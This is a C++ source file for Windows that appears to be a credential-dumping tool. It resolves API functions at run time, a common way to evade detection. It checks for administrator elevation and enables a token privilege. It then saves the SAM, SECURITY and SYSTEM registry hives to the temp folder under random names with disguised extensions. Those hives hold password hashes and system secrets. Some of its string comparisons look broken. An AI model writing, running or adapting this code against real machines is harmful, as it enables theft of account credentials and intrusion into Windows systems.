proto.cpp

#include "startproc.h"
#include <Windows.h>
#include <iostream>
#include <chrono>

FARPROC ResolveFunc(const char* lib, const char* func) {
    HMODULE hMod = LoadLibraryA(lib); 
    if (!hMod) {
        std::cout << "[-] Failed to load DLL: " << lib
            << ", Error: " << GetLastError() << std::endl;
        return nullptr;
    }

    FARPROC fp = GetProcAddress(hMod, func);
    if (!fp) {
        std::cout << "[-] Function not found: " << func
            << ", Error: " << GetLastError() << std::endl;

    }
    return fp;
}

BOOL IsElevated() {
	HANDLE hToken = nullptr;
	pOpenProcessToken opt = (pOpenProcessToken)ResolveFunc("advapi32.dll", "OpenProcessToken");
	if (!opt(GetCurrentProcess(), TOKEN_QUERY, &hToken)) return FALSE;
	TOKEN_ELEVATION elev{};
	DWORD sz = sizeof(elev);
	BOOL elevated = GetTokenInformation(hToken, TokenElevation, &elev, sz, &sz) && elev.TokenIsElevated;
	CloseHandle(hToken);
	return elevated;
}

int enPrivilege(LPCWSTR privName, HANDLE hToken, LUID lidToCheck) {
	TOKEN_PRIVILEGES tp;
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = lidToCheck;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	pAdjustTokenPrivileges pAtp = (pAdjustTokenPrivileges)ResolveFunc("advapi32.dll", "AdjustTokenPrivileges");
	if (!pAtp(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
		std::cerr << "[-] AdjustTokenPrivileges failed :" << GetLastError() << std::endl;
		return 1;
	}
	std::wcout << L"[+] Privilege Enabled";
	return 0;
}

std::wstring a2G(int a = 1000, int b = 9999) {
	auto t = std::chrono::steady_clock::now().time_since_epoch().count();
	int n = a + (t % (b - a + 1));
	std::wstring s;
	do {
		int d = n % 16;
		s = wchar_t(d < 10 ? '0' + d : 'A' + d - 10) + s;
		n /= 16;
	} while (n);
	return s;
}


int hiveDump(LPCWSTR kName) {
	pRegOpenKeyExW rok = (pRegOpenKeyExW)ResolveFunc("advapi32.dll", "RegOpenKeyExW");
	pRegSaveKeyExW rsk = (pRegSaveKeyExW)ResolveFunc("advapi32.dll", "RegSaveKeyExW");
	HKEY hKey;
	LSTATUS status = rok(HKEY_LOCAL_MACHINE, kName, REG_OPTION_BACKUP_RESTORE, READ_CONTROL, &hKey);
	if (status != ERROR_SUCCESS) {
		std::wcerr << L"[!] RegOpenKeyEx failed: " << status << std::endl;
		return 1;
	}

	wchar_t tmpPath[MAX_PATH];
	DWORD path = GetTempPathW(MAX_PATH, tmpPath);
	std::wstring filePath = tmpPath;
	std::wstring nice = a2G();
	filePath += nice;
	if (kName == L"SAM") {
		filePath += L".bam";
	}
	else if
		(kName == L"SECURITY") {
		filePath += L".bec";
	}
	else if (kName == L"SYSTEM") { filePath += L".bsy"; }

	LSTATUS status1 = rsk(hKey, filePath.c_str(), NULL, REG_NO_COMPRESSION);
	if (status1 != ERROR_SUCCESS) {
		std::wcerr << L"[!] RegSaveKeyExW failed: " << status1 << std::endl;
		return 1;
	}
	RegCloseKey(hKey);
	return 0;

}